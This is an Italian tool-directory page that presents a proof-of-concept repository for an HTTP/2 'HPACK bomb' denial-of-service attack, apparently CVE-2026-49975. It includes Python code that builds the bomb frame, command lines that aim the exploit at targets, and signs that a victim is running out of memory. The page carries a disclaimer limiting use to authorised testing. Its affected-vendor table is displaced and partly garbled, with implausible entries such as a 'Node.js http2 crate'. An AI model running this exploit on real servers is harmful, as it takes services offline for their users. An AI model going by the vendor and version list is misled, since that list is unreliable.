Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2026-49975-http2bomb_reproduction | Kitploit
Strumenti/GitHubGitHub/razureink/cve-2026-49975-http2bomb_reproduction
Analisi delle VulnerabilitàExploitSicurezza WebSicurezza di RetePaper e RicercaApprendimento e Formazione
GitHubrazureink/cve-2026-49975-http2bomb_reproduction

cve-2026-49975-http2bomb_reproduction

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
111 mese faNon ancora revisionato

CVE-2026-49975 (HTTP/2 Bomb) Guida completa alla riproduzione

Basata sull'advisory CERT di QiAnXin + ricerca originale di Calif

================================================================

I. Panoramica della vulnerabilità

CVE-2026-49975 è una vulnerabilità critica di denial-of-service (DoS) nelle implementazioni di server e proxy HTTP/2. L'attacco, soprannominato "HTTP/2 Bomb" o "HPACK Bomb", sfrutta due comportamenti a livello di progettazione del protocollo HTTP/2 per forzare il bersaglio a un consumo di memoria illimitato (OOM) e all'esaurimento della CPU:

  1. HPACK Indexed Reference Blow-up – un piccolo frame HEADERS che fa riferimento logicamente alla stessa voce di cookie migliaia di volte tramite riferimenti indicizzati HPACK. Durante la decodifica, il decoder HPACK del peer può allocare memoria proporzionalmente al numero di riferimenti, non alla dimensione del payload trasmesso.
  2. Flow-Control Window Stalling – combinato con una finestra iniziale pari a zero, il mittente accoda i dati HEADERS ma il destinatario rifiuta di leggerli fino all'arrivo degli aggiornamenti di finestra; i buffer si riempiono e la pressione sulla memoria cresce.

Punteggio base CVSS 3.1: 9.8 (Critico)
Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

II. Principio dell'attacco (combinazione in due fasi)

L'attacco è più efficace quando le due fasi si completano a vicenda, ma ciascuna fase da sola è sufficiente contro alcune implementazioni.

Fase 1: Bomba a riferimenti indicizzati HPACK

La compressione degli header HPACK di HTTP/2 utilizza una tabella dinamica in evoluzione. Una volta che un grande header cookie viene inserito nella tabella (tramite codifica Literal+Incremental), un attaccante può fare riferimento a quella voce con un opcode di 1 byte. Riferimenti ripetuti costringono il decoder a ricostruire lo stesso header più e più volte.

root@kitploit:~
Wire:  [Opcode: Indexed (0x80)] [Index: 63]
[1 byte per ref, repeated thousands of times]
    ↓
Decoded memory blow-up: each expansion yields a
{":method: GET", "cookie: a=xxxxxxxxx...x"} buffered for the
stream.

Un pacchetto di 5 KB può espandersi in centinaia di megabyte di payload decodificato.

Fase 2: Stallo della finestra HTTP/2

SETTINGS con INITIAL_WINDOW_SIZE=0 costringe la vittima ad accodare tutti i dati HEADERS/continuation. L'attaccante invia frame WINDOW_UPDATE lentamente, poco alla volta. I buffer rimangono pieni in modo combinatorio.

Meccanismofattore di amplificazione
corpo HEADERS grezzo1x
esplosione dei riferimenti HPACK20–80x
+ stream concorrenti100–500x
+ stallo della finestra1000x+

III. Server interessati

Consulta la voce CVE del tuo vendor per i limiti esatti.

IV. Configurazione dell'ambiente

root@kitploit:~
# Python 3.8+ with ssl support
python --version

# SSL Certificate optional; PoC sets CERT_NONE

Vittima rapida con Docker:

root@kitploit:~
docker run -d --name h2-victim -p 4433:443 \
    nghttp2/nghttp2:1.57.0 nghttpd --dh-param-file /dev/null

V. Codice exploit

Lo script complementare è exploit.py.

La routine principale:

root@kitploit:~
def build_hpack_bomb(num_headers: int = 20000) -> bytes:
    cookie_name = b"cookie"
    cookie_value = "a=" + "y" * 128
    data = bytearray()
    # Step 1: insert cookie into dynamic table
    data.append(0x40)  # Literal+incremental
    data.extend(encode_hpack_int(len(cookie_name), 7))
    data.extend(cookie_name)
    data.extend(encode_hpack_int(len(cookie_value), 7))
    data.extend(cookie_value.encode())
    # Step 2: spam Indexed refs (index 63)
    for _ in range(num_headers):
        data.append(0x80)
        data.extend(encode_hpack_int(63, 7))
    return bytes(data)

Lo script esegue:

  • Connessione TLS a host:port
  • Prefazione HTTP/2 PRI + SETTINGS con window=0
  • Invio della bomba HPACK come HEADERS
  • Invio opzionale di un lento gocciolamento di WINDOW_UPDATE
  • Misurazione del degrado RTT tramite frame PING

VI. Utilizzo

root@kitploit:~
# Basic run (default 10000 refs)
python exploit.py 192.168.1.100

# Custom port + 20000 refs
python exploit.py server.local 8443 -n 20000

# Disable window stall
python exploit.py endpoint.com --no-stall

# Longer observation (60 seconds)
python exploit.py 10.0.0.5 -d 60

# Verbose
python exploit.py 10.0.0.5 -v

VII. Verifica dell'efficacia dell'attacco

Monitora le risorse della vittima:

root@kitploit:~
watch -n1 'free -h && echo "--- top CPU/PID ---"'
ps -o pid,rss,pcpu,comm -p <victim_pid>

Segnali che l'attacco sta funzionando:

  • la RSS della vittima supera i 500 MB
  • la CPU salta al 100%
  • le latenze PING superano 1 secondo
  • le connessioni vanno in timeout

VIII. Mitigazione

Approccioimpostazione
Limita gli header per stream

IX. Disclaimer

Queste informazioni sono solo a scopo didattico e per test di sicurezza autorizzati. Esegui l'attacco esclusivamente su sistemi di tua proprietà o per i quali hai ricevuto autorizzazione scritta al test.

Riferimenti

  • CVE-2026-49975 Mitre
  • QiAnXin CERT Advisory (bollettino originale in mandarino / inglese)
  • Calif, A. The HTTP/2 Bomb: HPAK indexed OOM. Black Hat 2025
  • RFC 7541, RFC 9113
Scarica lo strumento
Vendor / ProgettoVersionedescrizione
Apache mod_http2< 2.0.13OOM sull'esplosione dei riferimenti indicizzati
nghttp2< 1.62.0crescita incontrollata della memoria
h2o< 4.0.2ciclo infinito nel decoder
Node.js http2 crate< 1.12.0espansione intrinseca in nghttp2-rs
Go net/http (h2)< 1.24blocco delle goroutine + allocazione OSL
Apache Traffic Server< 9.3.0OOM tramite buffer interno
HAProxy h2< 2.9crash su AVP di dimensioni eccessive
Envoy< 1.30allocazione massiccia nel controllo del flusso
Rust hyper/h2 crate< 5.14panic su overflow SK
MaxHeaderCount 500
Rifiuta bassa compressionesoglia rapporto < 5
Limita la crescita HPACKlimita la tabella dinamica a 1 KB
Memoria per connessionerifiuta dopo N MB
rate limitinggenerico conn/s, req/s